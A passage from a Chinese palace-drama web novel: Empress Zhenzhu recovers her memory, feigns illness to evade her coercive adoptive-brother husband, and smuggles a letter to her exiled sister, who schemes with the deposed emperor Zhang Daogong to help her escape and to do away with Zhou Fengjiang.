或许她自己本来就不想醒过来,不想思考眼下已经恢复了记忆的自己该如何面对眼前的一切,尤其是面对远在岭南的张道恭和二姐姐婈珠。
这些天来,她听到最多的声音,是来自于那个“毁”了她人生的男人,她的兄长,周奉疆。
好几个漫长的夜晚,她虽然昏迷,但并没有睡着,她清楚地感知到他守在她床前时每一次的呼吸,他常常一整晚一句话也不会说,一动也不动,就这样不阖眼地守着她。
静谧的床帐之内,他们彼此的吐息交缠在一起,然后又轻轻地消散。
她痛苦,想哭,可又流不出一滴泪。
为什么会这样呢。
他得到了她的一切,玩弄她的人生,然后又总是指责她不爱他。
可她从来没有不爱他。
在她生命里出现过的那些男人里,周奉疆对她来说,永远是任何人都无法替代的。
甚至,她一度认为她还对他有些不可明说的雏鸟情节。
——尽管所有人都知道,在她父亲周鼎还在世的时候,她父亲格外地宠爱她。但宠爱并不代表着陪伴。
事实上,周鼎军务公事繁忙时,或者他征战在外时,她可能一连几个月都见不到他。
即便父亲在家,她也顶多是在父亲陪母亲用膳时和他多相处些时间。
真正陪伴她最多的男人,是周奉疆。
从她还很小很小开始,他是唯一长时间陪她玩耍的人。
后来到了她能听得懂人话也会说话的年纪,因为她常常贪玩还耍赖,他不仅负责陪她玩,也肩负起了给她讲道理的责任。
告诉她要听父母长辈的话,告诉她吃饭时就要按时吃饭,告诉她,她已经长大了,不许在饭桌上用手抓东西……
她总是会听他的话,甚至有时还有些怕他。
这倒不是因为他对她严厉,纯粹是因为他对她来说太重要了。她害怕他离开,如果他离开了,那就没有人陪着她了,所以她会很乖很乖,会乖乖地听他的话。
慢慢的,她开始像雏鸟一般依赖他,在她的生命里,他既是兄长,又扮演了一部分属于父亲的角色。
亦兄亦父。
她以为他们之间只会是这样了。
他是她的兄长,她还会在心里将他当做半个父亲一般敬重依赖。
至于后来为何爱上张道恭……
——那是因为,一个情窦初开、豆蔻年华的女子,总归是会下意识地幻想未来的丈夫的。兄长是她的兄长,哪怕他还能承担她生命中父亲这个角色的责任,可他到底永远不可能是她的丈夫,不是么?
所以,她在自己身边挑挑拣拣,将丈夫这个角色的希望投射在了张道恭的身上。
可是忽然有一天,周奉疆毫无征兆地撕碎了他从前在她面前伪装出来的面具,他告诉她说,他不是她父亲,也不想做她的兄长。
他要做她的丈夫。而她则要乖乖地给他做妻子。
如果她不愿意,那他也可以用强硬的手段最终逼她“愿意”。
从那一刻开始,她的世界真的崩塌了。
他毁去的是她的童年,是她自认为有他陪伴而最美好的那些岁月。
媜珠终于逼迫自己醒来,是因为听到他又想要发疯杀人的动静了。
母亲和他说的那些话,她都听见了。
那些人的确有错,可实在不值得因为她,又换来这些家族的灭亡。
她害怕看见流血,她更害怕有人因她而流血。
媜珠努力地想要睁开自己的眼睛,她听到周奉疆折身回来坐在了她身边,紧紧握着她的手唤她的名字
母亲也喜不自禁地过来了,嘴里念叨着阿弥陀佛的,又让人去请王医丞他们过来,说是皇后醒了,叫他们看看皇后的状况如何。
媜珠终于睁开眼时,对上的就是周奉疆那双布满血丝的眸。
她这一次没有闹,也没有发疯。
——和四年前的那一次一点也不一样。
她是平静的,她静静看着满殿宫人来来往往,有人给她端来茶水,有人为她端来汤药,皇帝和太后还命人去传膳,说皇后肯定是饿了。
女医轻轻托住她的手腕,王医丞跪地为她切脉,而后又对着皇帝说了些什么,媜珠发着呆,没有听进去。
直到许久之后,她对着周奉疆露出了一个浅淡的微笑:
“陛下,妾一切安好。劳陛下牵挂了,妾惶恐。”
周奉疆紧张的神色徐徐平复下去。
他不放心,还是再问了一句:“媜媜?你还记得朕是谁吗?”
媜珠莞尔:“陛下是打趣妾吗?妾已经失忆过一次了,不会再失忆第二次的。从前的事忘了也就忘了,后来和陛下做夫妻的五年,是妾一生中最幸福的时光,妾怎能因一病而再度忘却?”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m
40-50
第41章
他心底隐隐预感最害怕发生的事情最终并没有成真,周奉疆长长舒了一口气。
他极为用力地握住了媜珠的双手,那眸光中似乎有千言万语要和她说,最终却只简单地轻叹一口气:
“以后不许再这样吓朕了……”
媜珠虚弱地微笑:“妾区区之身,叫陛下伤神至此,是妾之大罪。”
周奉疆立马回她:“朕不为你伤神,还能为谁?除你之外,谁还能让朕伤神?”
媜珠终于醒来,皇帝和太后当下俱是心情大悦。等媜珠和皇帝说完几句话后,太后也关切地问了问媜珠身子如何之类的。媜珠一一答过。
静谧片刻,媜珠终于强忍着不适主动和皇帝提起了刚才的事:
“陛下,妾方才昏昏沉沉之间,似乎听到陛下……听到陛下要处置缮国公、平原侯府这些人家,似乎还是与妾有关,是吗?”
皇帝不以为意:“贱婢罪奴之流,死不足惜。”
一旁的赵太后一听媜珠问起这些就头疼,她实在太了解自己的这个女儿了,她猜也能猜到,媜珠马上果然就要替这些人求情。
果不其然,媜珠的眼神中浮上一层淡淡的哀伤的情愫,她轻声对皇帝说:
“陛下,妾知后宫不得干政,也知这些人本就有错在先,并非无辜。可,可妾、妾私以为,或许他们罪不至此,陛下可否再思量一番,稍稍宽宥他们些许?妾知陛下对妾的爱护之心,妾不胜感激,可妾不愿看到旁人因妾而受到陛下重罚,妾心中实在……”
她刚刚从病榻上醒来,披散着长发,未施粉黛,不加妆饰,神容恹恹,身量纤细,此刻的这番姿态极是娇弱盈柔,像攀附在强壮枝干上一株怕风怯雨的菟丝花,纤纤弱质,连吐息都是那样轻,轻如兰花薄薄的花瓣。
自己心爱的女人如此姿态苦苦哀求,这时候她要什么他都会给她的,哪怕她要尝尝他的肉是怎么滋味,他都能面不改色地割给她吃。
但偏偏,她什么也没给自己求,反而尽是低声下气地去给别人求情了。
这么多年,他将她捧着宠着呵护在手心里,他努力成为天下最有权势的男人,只为让世间万民皆要对她俯首称臣,他想让她永远高高在上,睥睨万物,高傲得犹如天宫神姬一般。
结果呢,结果她一次次将自己弄得这样卑微,只为在他面前去给别人求情。
周奉疆心底有气,可是无论如何也不好在这个时候对着她发脾气,他一忍再忍,最终只得让步道:
“死罪可逃,活罪难免。朕可以免了这些人的牢狱之灾,但爵位、官职、诰命、宅院、田亩,一应夺去,将他们悉数废为庶人。”
媜珠谢过他:“陛下开恩,妾感激不尽。”
赵太后冷冷哼了一声,拂袖而去。
这没用的软弱女儿,若非托生在冀州周家,以她这样的容貌和心性,在这乱世里早不知被人折磨死多少回了。
她以为她替这些人求了情,这些人就会对她感激不尽么?
人家心里还是照旧恨她的,哪怕是被皇帝下令处置,可他们恨的还是她这个皇后,恨得说不定日夜咒她为什么不早死。
经此一事后,外人再度看见皇帝对赵皇后的恩宠疼爱,虽然暂时不敢有人再觊觎后位妃位了,但毕竟不是个长久的法子。
多少人已经把她当成了个活靶子,以后的储君若非她亲子,只怕整个赵家都没有好下场。
哎,若是自己有个有用的、能和他父亲一般的亲孙子就好了。
赵皇后醒来之后,皇帝倒是立刻变得和从前无异了,照旧朝会、处理政务。
而赵皇后看起来,仿佛也很正常,就和她从前一模一样。
甚至椒房殿里的宫人们还觉得,皇后病过了这一次后,心情反而比她生病昏迷前那一段时间的郁郁寡欢要强了不少。
她现在虽然病气未退,但平日里面上还是有些笑容的,和皇帝在一起也是有说有笑,恩爱和睦,皇帝的心情好了,便不再因皇后生病之事迁怒椒房殿里的宫人们。
如此一来,人人安好,皆大欢喜,仿佛一切都回到了从前的模样。
——唯有媜珠自己知道,为了让周奉疆放松警惕,她伪装得有多么辛苦。哪怕只是和他同坐在一张桌上用个膳,她都有无数个瞬间忍不住想要和他彻底摊牌,想要和他撕破脸,质问他为什么要这样对她。
恢复了记忆的她早就看透了这男人的本性。
不论是她和他苦苦讲道理还是绝望地和他争吵,他都不会有一丝动摇、一丝悔意,只会换来他对她更加强势和威逼。
如果她现在让他发现她已经想起了一切,那么,也许后半生她都不可能再踏出椒房殿半步了。
她会被他软禁至死,往后余生,她唯一的作用就是在床榻之间充作他泄欲的一个玩物罢了。
时隔多年,直到这一刻,媜珠仍然是伤心的。
她对他并不只有恨意,这份恨意,更多来源于对他的伤心。
男人全是忽然之间就变了的吗?
过往她看他,是将他当成自己最信赖的兄长、最亲近的兄长,是永远会保护她、支持她的亲人。
闺阁待嫁的少女岁月里,她还曾经幻想过,以后她会嫁给张道恭,她会成为河间王妃,和张道恭一起前往洛阳。
那周奉疆便可待在冀州家中,替她多照顾她的母亲。
以后他可每年前往洛阳述职,他们兄妹二人便可年年相见,情意长存。
——连母亲也是这样以为的。
正如母亲所说的那样,等她出嫁后,她的兄长便是在她娘家最有力的依仗。
……可他最终让她伤心了。
当年她和周奉疆爆发过一次最激烈的争吵,彼此皆对对方说尽恶言,想尽法子往对方的心窝子上扎刀。
她痛彻心扉地痛斥他的虚伪,她说,伯骧哥哥,只要我想到过去那么多年,在我将你视为兄长敬重仰慕的这些年里,你早已变了,变成这般让我作呕的样子,我便无比恶心!如果我早知你的真面目该多好!
周奉疆对她冷笑:“这些年?那你不如猜猜看,你说的这些年到底是多少年?你猜猜我是从多久之前开始想做你丈夫的?”
媜珠愣住。
他上前靠近她,附在她耳边低语:“从你通晓男女之情开始,从你能和张道恭勾搭在一起开始。你是我看着长大的,明明是我陪伴你最多,我总不能把你便宜了外人吧?”
“你既然能跟张道恭,为什么不能跟我?”
媜珠至今仍然记得那种犹如被冰冷滑腻的毒蛇缠绕身体的恐怖感觉。他的手掌沿着她衣衫的轮廓轻轻抚过她的身体,明明他并没有直接触碰到她,可她却从他的眼神中读懂了一切。
后来无数次她想到他对她说过的话,她都会战栗得浑身汗毛直竖。
在她父亲死后的一段时间里,很多人都来劝她顺从他,他们绞尽脑汁为她磨破了嘴唇、说尽了道理,都没人真的能劝动她回心转意。
她不可能的。永远不可能委身于他、和他行夫妻之事。
媜珠曾经站在他的角度思考过这个问题。最终她发现他为什么会对她有这样的想法。
在她出生时,他已经懂事记事了,和她懵懵懂懂地长大不一样,他从一开始就没有真的把她当成亲妹妹,她对他来说就是一个普通的女人。
但是她不是的,她从一开始就把他当成一母同胞的亲兄长一般依赖,哪怕是其后得知了他的真实身世,可她大脑中对他已经有了惯性的依赖,她将他视为“亲兄长”这一点也没有变过。
该如何形容呢?这就像是忽然有一天,有人告诉她说,你的母亲不是你的亲生母亲,往后你要和她以姐妹相称;你的父亲不是你的亲生父亲,往后他会是你的兄长。
她能接受吗?
她一样接受不了的,她还是会把自己习惯了的父母当做父亲母亲来对待,哪怕她知道他们和她并无血脉之亲。
她也曾这样苦苦地哀求过他,哀求他放过她,可周奉疆从来都不会听的。
他从不愿意理解她的苦楚。
媜珠沉默地站在椒房殿外的连廊下,抬头望着这犹如牢笼一般的巍峨宫墙,脑海中那股意图逃跑的冲动越来越强烈。
她一定要走,一定要离开这里。
这是她仅剩能做的对自己命运的唯一抗争。
她还想去见一见二姐姐和张道恭,当年和张道恭分别时的最后一面,她依然记得。
她的人生,死在了她以为自己最幸福的那一刻。
在她上一次以为自己终于可以逃离他时,在她已经满怀憧憬地披上嫁衣之后,他毁了她的婚姻、她的人生。
那么,如今的她还能不能为自己再争取一回呢?
眼见媜珠自醒来后好好地养了两三日,大约是没什么大碍了,周奉疆这才试探着问起她那日为何突然呕血昏迷了过去。
媜珠早已想好了对策应付他。
她极柔弱小心地靠在他身上,轻声解释说:“妾也不知这是为何?为什么王医丞他们都如此确信妾是受了什么刺激呢?其实那天什么也没发生,妾一人静静待着休憩片刻,忽然之间便头颅抽痛,五脏也痛如刀绞一般,妾呕了两回血,然后便晕倒什么都不知道了。”
皇帝仔细瞧了瞧她,实在没从她的神情里看出几分作假的成分,于是便心疼地拍了拍她的背:
“若是这般……兴许是你身子里还有什么未好全的旧疾,朕以后叫王医丞他们再多尽心为你调养身子,一定把你养得好好的。”
媜珠哽咽:“妾如此残躯,恐怕日后连给陛下生育子嗣都不能了,陛下竟还这般爱惜妾,妾情何以堪?”
皇帝更加怜惜她:“媜媜,总说这样的傻话做什么?朕不对你好,还能对谁好?”
自从恢复记忆后,媜珠还觉得自己似乎比从前聪明了些。
她终于找到了一个可以推卸侍寝责任的好法子,那就是在他面前装病装痛。
哪怕她的身体在渐渐恢复过来,哪怕王医丞每次给她切脉时都说她日益好起来了,可每次她都能毫无异色地撒谎说她身上哪里哪里还是痛、还是不舒服。
汤药一碗碗灌进了媜珠的嘴里,总算给她换来了可以名正言顺不侍寝的理由。
她也不会将不想同房的话挂在嘴上说,相反,甚至每个夜晚,她还会主动提出要为他纾解。
周奉疆起先因她的主动而颇为心猿意马,随口问了一句:“媜媜,你的身子没事了么?”
媜珠便立马泣泪:“陛下为何要问妾这样的话?难道妾有疾病在身,便不配侍奉陛下了吗?妾明白自己一身弱症,往后还不知能有多少辰光可活,妾不能替陛下孕育子嗣,难道还不能献给陛下这一点点床笫之欢吗?妾身虽不适,可终不剩多少时日,只想在在世的时候多侍奉陛下几回。”
这话当即就把周奉疆吓得不轻,他哪还敢和她提床上的那点事,连忙把她哄了又哄,一再劝她不可有如此念头,又连连向她保证说她好得很,她并没有什么重病。
媜珠抽抽涕涕地哭上半宿,让他也熬着哄她半宿,这一夜就算打发过去了。
之后的数夜,周奉疆连床帷之事半句也不敢提,媜珠问起,他还得想办法撒谎来搪塞她的主动,今天说乏了明天说累了,后日就说疲倦得很,实在没这个心思。
媜珠在侥幸之余,仍有些感慨。
她这一生大约说过的所有谎话,都是给了从前她生命中这个陪伴她最多的男人。
如果可以的话,她一个字的假话都不想对他说。
在醒来后的第四日,媜珠再度召见了颍川公主的妯娌冯夫人。
当然了,理由还是她关心冯夫人儿子的状况。
同上次一样,她抬手将冯夫人的儿子韩柏叫到自己跟前来,爱怜地抱了抱这个孩子,用宽大的袖摆遮住了她的动作,偷偷将一卷小小的字条塞进了这孩子的手里。
这孩子果真十分聪慧,哪怕已经失明了,可行为举止之间却被母亲教导得分外沉稳。
在摸到媜珠递来的字条之后,他默不作声地握紧了双手,规规矩矩地谢过皇后关心、怜悯他的恩德,神色自若地回到了他母亲的身边。
冯夫人小坐片刻,之后恭恭敬敬地领着她的儿子退下。
媜珠静静地坐在那主位的凤座上,目送着冯夫人母子离开,将那封承载着她希望的信在皇帝的眼皮子底下带出了宫。
她期盼着那封信可以最快送到她姐姐的手里,期盼这一路不要发生任何的意外,期盼能快点收到姐姐的回信。
这深宫,她是一日也待不下去了。
第42章
从第一次给自己的三妹妹寄出信件,到终于收到她的回信,婈珠等了足足二十五日。
再等下去,只怕马上开春了,她怀疑自己或许等到死都等不到这妹妹的只言片语了。
当周婈珠在岭南一隅的龙编县内缓缓展开这张来自数千里之外长安城寄来的信纸时,她的内心同样感慨万千。
不过,她感慨的可不是什么千里家书、手足重逢、血亲情意,而是仍旧为自己的聪明才智而啧啧称叹。
这样绝对会使周奉疆勃然大怒的信,在他的眼皮子底下,从周媜珠手里被送了出来,一路送出了长安,甚至还经过了交州司马韩孝直的手,最终又从韩孝直之弟韩孝民的手里被送出来,经过段充递到了她的面前。
这一路上,竟然真的没有任何人发现。
只是这么想着,还不等拆开看看这信纸里究竟写了什么东西,婈珠的面上便已经露出了得意的微笑。
这些时日,因为迟迟不见长安的回信,张道恭已经对她们周氏姐妹产生了浓重的怀疑和不信任。
他怀疑婈珠的计谋根本没有用,又怀疑媜珠这几年里或许早已变了心,或许她已经爱上了周奉疆,不会再愿意帮他这个初恋情人了。
张道恭起了这种半信半疑的心思,那薛贵妃自然愈发不把婈珠放在眼里,年轻气盛的女孩儿,总是藏不住任何心思,喜怒皆表于色。
偏偏她这直来直往的性情还颇得张道恭的喜爱,妃妾相争,张道恭哪怕看在眼里,知道婈珠落了下风,也不会帮着婈珠。
谁让人家薛贵妃之父乃是反叛周奉疆而投靠张道恭的始兴郡郡守薛坚明,张道恭眼下还要多依仗薛贵妃娘家的势力,当然要对她颇多宠爱纵容。
相比之下,那为数不多侍奉在侧的宫人奴仆们也拜高踩低起来,让婈珠近来的日子越发不好过了。
今日总算等到回信,婈珠一面站在连廊下迫不及待地拆着信,一面还随口问了段充一句:“这一路当真没出什么事吧?那韩孝直也没把这些家信拆开来看过?”
段充低头答道:“近来韩孝民一家分外老实恭顺,韩孝民鞍前马后地伺候着韩孝直,韩孝直也多重用他,一应琐事,都交给他打理。”
所以就连长安寄回来的家信,都是韩孝民去处理的。
婈珠随意点了点头:“甚好。”
……
不过是还不到一盏茶的功夫,婈珠便草草将自己妹妹寄来的这封信看完了一遍。
这信上的字的确是周媜珠的字迹,这封信确实是周媜珠亲笔所书无误。
她低头看信,段充则小心翼翼地窥视着她的神色。
终于,他看到婈珠脸上的笑意愈发深了起来。
她抬起头看向段充,眉眼间带着异样的得意,这么多年来,自张道恭亡国逃亡在外后,段充都没有再见过她这样发自内心的笑容了。
婈珠呼出一口气,双手合十:
“……父兄保佑,祖宗庇护,总算叫她没有真的和周奉疆一条心,总算她的心还是向着我们周家人的。”
段充见她高兴,他也忍不住问她:“娘娘,不知三娘子的信里,都向娘娘说了些什么?”
婈珠扬起眉,她连那寡淡的眉梢都变得高傲起来:
“她啊,她信中和我极言力陈内心苦痛,她说,之前她虽然失忆,但是已经隐隐怀疑她的身份不对劲、怀疑周奉疆在骗她了。她说她这些年过得很可怜,被所有人蒙骗在股掌之间,竟然没有一个人愿意帮她。”
“她又跟我说,正是因为那日看到了我的信,她在刺激之下突然回忆起了从前的所有,恢复了记忆。如今的她一定不会再被周奉疆欺骗了。”
“她说她很想念我,也很想念陛下。她还想再见我和陛下一面。她低声下气地求我,求我不要误解她,她并是不我想象中的无耻下作的淫妇,她都是被逼的,都是周奉疆强迫她的。周奉疆杀了她那么多的手足亲人,她无时无刻不活在痛苦之中。”
“她说,这么多年,她过得都并不开心。”
段充眼底也不禁浮现一些笑意:“那三娘子若还是这样的心性,她大约是肯帮娘娘的了。”
说到这里,婈珠的脸色却又冷了下去:“帮?”
她冷哼一声,抖了抖手里的信纸,“这软弱无能的废物,她亲姐姐在外面过得什么日子她自己不知道吗?我在外头有多艰难,我哪还有闲工夫管她,她倒好,还敢朝我开口,满嘴里哭诉她的不容易,求我给她想想办法,让我帮她逃跑。”
婈珠一生气,段充就立马敛了面上的笑意,也不敢再轻易开口了。
倒是过了一会儿,周婈珠自己又道:“我的好妹妹,我当然可以帮她了……我这做姐姐的,不心疼她,还能心疼谁?——你去替我问问那老虔婆,我让她养的珍珠蛊究竟何时才能好?现下咱们已经没有多少时日可耗的了。”
段充应了,转身退下。
他刚走不久,张道恭也得到消息,满面春风地寻到了婈珠这里来。
婈珠正欲款款俯身给他行礼,张道恭不耐烦地挥手令她起身,开口便直接问她:“三娘回信来了吗?她都跟你说了些什么?她可有给朕回信?可有对朕说什么?”
婈珠窥见他满目的期待,这期待中还暗含着几丝紧张,她在这一瞬间看他,竟觉得他也有几分往日少年意气的模样,这般迫不及待地想要得到自己心爱之人的消息。
她压下心底苦涩,保持着她一贯在他面前温婉得体的笑容,将媜珠的那封信素手托到他面前。
“三娘寄了信来了,她和妾身说,这些年她过得郁郁寡欢,她想让妾身帮她逃跑,她不想再待在那贼人的身边了。”
张道恭接过那张信纸,匆匆便看了起来,他的手指都在不由自主地发着抖。
时隔多年,这是他终于再度触碰到一件和她有关的东西。
婈珠侍立在一旁看着她,她唇瓣轻启,幽幽地道:
“三娘说,她是无辜的,如今一切的局面皆非她所愿。她一直都是被人逼迫的,她并非主动自愿委身于贼人,都是周奉疆对她用强,她是被强迫才失贞的。”
她故意要将这些话再说给张道恭听,把这些刀子朝他的心头扎去,逼得他也不得不直面现实。
——他从前最心爱的女人,他心头的那片皎皎月光,已经被别的男人玷污强占过无数次了。
你自己敢想过吗,她在周奉疆身边这么多年,周奉疆到底都对她做过些什么?做过多少次?
她没有了清白,不再干净,这等残花败柳之身,还会是你的心头挚爱吗?
果然,待婈珠说完这些后,张道恭的神色一僵,眸光沉痛,他轻声回她:
“朕知道。这不是三娘的错,朕明白她的屈辱和痛苦。”
“这不是三娘的错,三娘是无辜的。”
大约连他自己也要麻痹自己,他将这句话又重复了一遍。
婈珠心里冷笑嘲讽之意更浓,不过她面上装出来的样子却和张道恭一样,尽是对媜珠的怜惜。
“陛下,妾斗胆有一言敢问陛下,待周奉疆暴毙身死之后,陛下重回中原,夺回长安洛阳两都,陛下再见到三娘之日,会给三娘一个名分么?陛下又会给三娘一个什么样的名分?”
张道恭顿了顿,瞥她一眼:“淑妃何有此问?”
婈珠笑了笑:“妾是三娘的亲姐姐,不能不为三娘的将来考虑。三娘还心系陛下,只是她已被迫失贞于贼人,来日陛下再见到三娘,是否还愿意重念和三娘的往昔情意?妾愿替三娘向陛下求一份陛下的怜悯。”
张道恭神色和缓,又有些怅然:“待朕来日再见到三娘,朕的媜珠……我们彼此蹉跎了这么多年,她自当回到朕的身边,朕以后再也不叫她受委屈了。”
婈珠试探:“陛下会许三娘后位吗?三娘本该就是陛下之妻,妾僭越,陛下若还能许三娘后位,以三娘为陛下之妻,光耀妾家周氏门楣,妾不胜欢喜,愿为媵妾奴仆,侍奉陛下和三娘。”
但张道恭沉默了。
犹豫许久之后,他回答说:“婈珠,这话朕也只能跟你说。你与三娘回信时,且先别告诉她。——朕不能再许她后位。她虽无辜,可到底失贞,又侍奉周奉疆那逆贼那么多年,朕虽曾和她有过婚约,可朕也还是一国之君。朕不能再与她做夫妻。”
他在连廊下慢慢踱步,思忖道:“来日,朕定还要立世族女子为后,稳固江山基业。可朕无论如何也不会委屈了你妹妹,朕会将她留在身边呵护宠爱,即便不能以她为妻,朕还会许她妃位,不会让旁人看轻了她的。”
婈珠说不清这时自己心中是何等感觉,她只是静静地追问:
“妃位?贵淑德贤四妃已有其二,那三娘岂不是要屈居于妾和贵妃之下……”
张道恭摆手:“不,不是四妃之一,朕会封她为昭妃,昭,倬彼云汉,昭回于天也。朕之天下重得昭阳也。她虽不是皇后,但位分只在皇后之下,朕会弥补她,会弥补她从前所受的委屈。”
婈珠屈膝:“妾替三娘谢陛下隆恩。”
张道恭的视线重新落回到那张信纸上。
媜珠在这张信纸的最后提到了他。
在遥远的、本该属于他的长安,她提笔写下了一句对他的关心和问候:
“——妾周氏遥祝陛下德被四海、日月升恒。”
她写下的每一个字都叫他心痛。
那是本该属于他的新娘啊。
媜珠在信中还对婈珠提到了另一件事,那就是她说,穆王夫妇也已经知道了她的事,知道她大约恢复了记忆。
如此一来,倒叫婈珠原本就筹谋好的计划进展的更加顺利了。
她当日便又写了一封回信,令段充交给韩孝民,让信使将其送回长安。
在信中,婈珠与媜珠说道,原来之前都是姐姐误会了妹妹,妹妹原来一直都和我们周家人一条心,姐姐也心疼妹妹这些年来的不易。
妹妹你想要逃跑,姐姐已经想好了一个万全的主意,只看妹妹愿不愿意、敢不敢了。
媜珠妹妹,陛下也十分想念你,他还惦念着从前和你的情意无法忘怀,所以至今空置后位,只等着娶你为妻。
只要你愿意做,只要你成功了,你就能逃出来,到时候我们姐妹重逢团聚,可以将这些年来没能说的话都好好说一说。
还有陛下,陛下也会娶你为妻,让你继续做皇后。
不过么,你若是不愿意,那姐姐也绝不勉强你。
第43章
媜珠寄来的那张信纸上,落了一滴圆圆的泪珠,将纸上墨色晕开了小小的一团。
就是那滴泪,让张道恭这天夜里翻来覆去彻夜难眠。
只是看到那晕染开的墨团,他便足以想象在写下这封信时,媜珠是何等的痛苦难过,她又是如何在周奉疆的手下强撑过来的?
在他的记忆里,媜珠一直是善良、美丽、柔软却纤弱的,她应该顺风顺水、尊荣体面地过完她的一生,永世在他人的呵护宠爱之下无忧无虑地幸福着。
她不该遭遇这一切,也不该承受这些。
他想起少年情窦初开的年岁,在北地冀州时和媜珠在一起的时光。
——从前他以为,在冀州的那些年完全是他人生中一段可有可无的枯燥乏味的岁月。
他知道他父亲陛下将他送去北地是为了历练他,可他觉得这一切根本就没什么必要,不论去不去北地就藩,身为皇子、身为他父亲的爱子,来日他都会得到父亲的器重,成为大楚江山新的天子。
他总是想要快点结束这段就藩在外的时日,期待着早日被父亲召回洛阳,在国都洛阳有一番自己的作为。
可是后来他细细回味起来,才发现那几年的光阴,原来竟是他一生里最平静安宁、祥和美好的年月。
一方面,彼时的大楚江山在表面上还是那样的稳固,天下诸侯、军阀豪强都要对天子跪拜叩首、俯首称臣,在冀州做河间王的他,也是列居尊位,人人都对他毕恭毕敬,不敢有半分异色。
那时的他虽不是天子,但却是货真价实逍遥自在的“王”。
另一方面,最重要的还是有媜珠相伴啊。
他这一生都找不到第二个能够与媜珠相提并论的女子了。
当时的他们是何等般配的一对金童玉女,才子佳人,羡煞众人。
媜珠的青涩懵懂,善良柔软,温柔了他的整个少年时代。
或许起先他注意到她,的确是因为她的美貌,因为这份“殊色冠绝北地三十州”的倾国容色,有这样的女孩站在自己身旁,男人脸上也是有光彩的。
可后来真正将她放在心上,则是因为她的纯粹和温婉柔静。她被教养得很好,有着过人的学识,艳逸的才气,她和这世间所有其他的女子都不一样,尤其是,她还那样懂他。
有许多不能让别人知道的话,他都可以放心地说给她听,她会陪在他的身边,美眸流光,满眼爱慕地看着他,听着他说话,然后给出那些让他听了之后必会心头舒坦的回应。
别说是在冀州侯周家的那些女孩里了,就是在这整个世上,也只有她才是那颗耀眼的珍珠,旁人在他眼里,连鱼目都比不过。
周奉疆那样的卑贱极恶之人,根本不配得到她。再者,若非当年先冀州侯周鼎看错了眼将他收养为养子,这种娼妓所生的低贱孽种,这辈子连看她一眼的资格都没有!
其实,周奉疆对媜珠早有异心,当年的他也是看得出来的。
周奉疆或许在所有人面前都遮掩得很好,让人以为他真的只是周鼎所言的一个忠心耿耿的“家仆”而已,是赵夫人膝下所言的好儿子,是周三娘子平素时常亲近的兄长。
但张道恭清楚,他早就对媜珠起了那等不可见人的龌龊心思。
甚至,更荒谬的是,这还是周奉疆主动暴露在他面前,想让他看出来的。
他岂敢,他岂敢啊!
最初是因为张道恭自己对媜珠单纯的独占欲,那时媜珠生命中最重要的男人有三个,她父亲,她的恋人,还有她那毫无血亲的兄长。
媜珠时常会亲手做一些东西去孝顺她的父亲,张道恭对此自然毫无异议,但是当她将同样的心思分给周奉疆时,他心下便非常不痛快。
周奉疆算个什么东西?
难不成他还真把自己当成周家的公子了?实际上只是周鼎所言的家仆奴才罢了,他凭什么配和媜珠好的和亲兄妹一样?
媜珠也曾送给周奉疆许多东西,包括她亲手给他做的外衫、腰带、香囊,张道恭越想越不高兴。
后来他借机同媜珠说,你兄长整日在外面忙,又常在军营里替你父亲做事,外头各色的男人也多,你何苦亲手为他多做这些东西,若是他带在身上不慎落在别的什么地方,叫那些兵痞子捡到了,岂不是玷污了你?
媜珠犹豫:“我送给阿兄的物件,阿兄都收得好好的,不会弄丢的。”
张道恭越发不快:“以前送的,送了也就送了,往后就不要再送了。何况他又不是你亲兄长,面子上的意思尽到了就行。哪怕是亲兄长,你如今都长大了,还要为他做这些吗?”
他这话刚刚说完,猛然见背后出现一个人影,竟然是周奉疆不知何时悄悄站在了他和媜珠的身后。
那时的场面到底有些尴尬,饶是张道恭贵为河间王,本不该将这种低贱家仆放在眼里,但当时周奉疆看着他们的眼神格外意味深长,其中还带了一股隐藏的凌厉狠意,所以连他都被威吓得沉默了片刻。
自那事之后,张道恭就能很敏锐地察觉到周奉疆对他暗藏在表面之下的敌意。
每每当周奉疆看到媜珠陪在他身边时,他的眼神中总会夹杂着一股耐人寻味的不甘心,只有男人之间方可意会。
只可惜,彼时的张道恭并未将这种小喽啰放在眼里。
他根本不配入他的眼。
后来他和媜珠在一起相会时碰见周奉疆,他还会故意在周奉疆面前对媜珠做一些亲昵的动作,他可以从周奉疆所有隐忍的表情中看出他的愤怒和嫉恨,但在堂堂的河间王面前,他惟有一忍再忍。
这令张道恭的内心感到一股异常的畅快和有趣。
他觉得他这样故意去激周奉疆的怒火,就像是拿着肉在逗一条街头饿犬一般好玩。
这就好比此时的他是顿顿大鱼大肉的富家公子,而周奉疆却是一条饥肠辘辘的无家可归的野犬,他看这条狗不顺眼,所以他就可以每天故意扔出一些骨头去逗他,欣赏他愤怒的模样来取乐自己。
大约……等到他逗够了这条狗,他就可以随手找人了结了他,不让他再在自己面前显眼碍事了。
可惜,自出生以来便从未尝过挫败滋味的河间王,偏偏不久之后就被这条饿红了眼的野犬给狠狠地报复了回去。
他甚至险些还因此成为天下笑柄。
——在他父亲代宗皇帝在位的至宁十七年冬,北地边塞的奚族王子术里再度南下侵扰劫掠营州城,营州百姓深受其扰,苦不堪言。
因河间王同时也就藩于北地,所以代宗皇帝命自己的儿子和冀州侯周鼎等人共同商议此事,议论议论该如何解营州之久困。
时下有人偷偷向张道恭进言说,天子苦武人专横久矣,如今面对边关危急之事,难道皇帝不知道可以用武力来解决吗?那他为何还要让自己的儿子多想想别的法子吗?
这就说明,皇帝陛下他其实并不想再穷兵极武,一方面战事消耗国力,另一方面重用武人,又增长了武人专横跋扈的气焰。
张道恭那时也年轻不知事,听有人这么一说,他便大惊失色,以为遇到了通晓时事的高人,连忙恭而敬之地将此人请入自己的河间王府,询问这位高人能替他出什么主意去讨好他父亲陛下的心意,让他能愈发得到父亲陛下的信任和倚重。
那高人胸有成竹地哂笑了一下:“殿下,其实这也不难,既然不能用武,那不就是用和么?讲和,最好的法子就是和亲了。正好陛下最小的姑母长沙长公主年方十九,美丽聪慧又尚未婚配,若是能嫁与术里王子,解殿下和陛下之急,解营州百姓之急,实在是再好不过了。”
张道恭恍然大悟,亦觉得此谋士所言实在很是有理,于是他便当即上书一封给他的父亲,将他想请求父亲送长沙公主去和亲之事详细地说给了一遍。
然而,就在不久之后,当张道恭书信中的内容传遍整个洛阳城,当洛阳城内的所有人都知道他想拿自己的姑母长沙公主去和亲的时候,冀州一位猛将周奉疆一夜之间奇袭数百里斩杀奚族王子术里的军报也随之传到了洛阳。
营州百姓极言盛赞这位尚不出名的将军的骁勇善战,百姓更是做了民谣俗语广为传播称颂他的军功:
